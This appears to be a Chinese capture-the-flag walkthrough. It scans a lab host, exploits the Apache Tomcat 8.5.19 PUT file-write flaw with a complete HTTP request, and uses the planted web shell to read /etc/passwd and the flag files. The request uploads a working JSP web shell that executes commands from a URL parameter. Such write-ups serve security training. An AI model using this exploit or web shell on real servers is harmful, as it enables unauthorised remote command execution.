TOMCAT_UPLOAD

渗透过程

对端口进行扫描 nmap -sS -n 192.168.7.195

发现8080端口开启了http服务,如果不确认可以输入nmap -sA -p 8080 -n 192.168.7.195详细查看

访问8080端口,发现为Tomcat服务器

搜索一下发现Apache Tomcat/8.5.19存在Tomcat PUT方法任意写文件漏洞,当 Tomcat 启用了 HTTP PUT 请求方法(将web.xml文件中 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求向服务器上传包含任意代码的 jsp 文件。之后,jsp 文件中的代码将能被服务器执行。

尝试Tomcat的PUT方法任意写漏洞,打开Burp Suite,如下图所示。

尝试构造如下数据包发送一句话shell,通过PUT方法向Tomcat根目录下写入2.jsp文件,如下图所示。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
PUT /2.jsp/ HTTP/1.1
Host: 192.168.7.195:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: closeUpgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 396

<%@ page import="java.io.*"%>
<%
try {
String cmd = request.getParameter("cmd");
Process child = Runtime.getRuntime().exec(cmd);
InputStream in = child.getInputStream();
int c;
while ((c = in.read()) != -1) {
out.print((char)c);
}
in.close();
try {
child.waitFor();
} catch (InterruptedException e) {
e.printStackTrace();
}
} catch (IOException e) {
System.err.println(e);
}
%>

代码的含义是获取网页的cmd参数,通过Runtime.getRuntime().exec(cmd)方法执行并返回成功执行结果或报错信息。

尝试访问/etc/passwd文件,能成功访问,如下图所示。

浏览当前目录下文件,发现有flag.txt文件,如下图所示。

使用命令cat flag.txt命令,查看flag.txt文件,得到第一个flag。

继续查看,发现root下面有一个flag.txt

打开flag.txt,发现flag2